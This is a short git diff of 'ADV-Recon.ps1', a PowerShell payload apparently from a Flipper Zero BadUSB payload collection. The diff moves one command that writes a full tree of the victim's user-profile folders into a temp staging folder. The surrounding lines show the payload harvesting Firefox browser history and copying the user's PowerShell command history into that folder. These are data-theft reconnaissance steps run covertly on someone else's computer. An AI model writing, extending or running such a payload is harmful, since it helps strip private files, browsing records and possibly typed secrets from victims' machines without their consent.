diff --git a/Payloads/Flip-ADV-Recon/ADV-Recon.ps1 b/Payloads/Flip-ADV-Recon/ADV-Recon.ps1 index 3395ce8..cac483b 100644 --- a/Payloads/Flip-ADV-Recon/ADV-Recon.ps1 +++ b/Payloads/Flip-ADV-Recon/ADV-Recon.ps1 @@ -52,6 +52,11 @@ New-Item -Path $env:tmp/$FolderName -ItemType Directory ############################################################################################################################################################ +# Recon all User Directories +tree $Env:userprofile /a /f >> $env:TEMP\$FolderName\tree.txt + +############################################################################################################################################################ + function Get-fullName { try { @@ -502,9 +507,6 @@ Get-BrowserData -Browser "firefox" -DataType "history" >> $env:TMP\$FolderName\B ############################################################################################################################################################ -# Recon all User Directories -tree $Env:userprofile /a /f >> $env:TEMP\$FolderName\tree.txt - # Powershell history Copy-Item "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt" -Destination $env:TEMP\$FolderName\Powershell-History.txt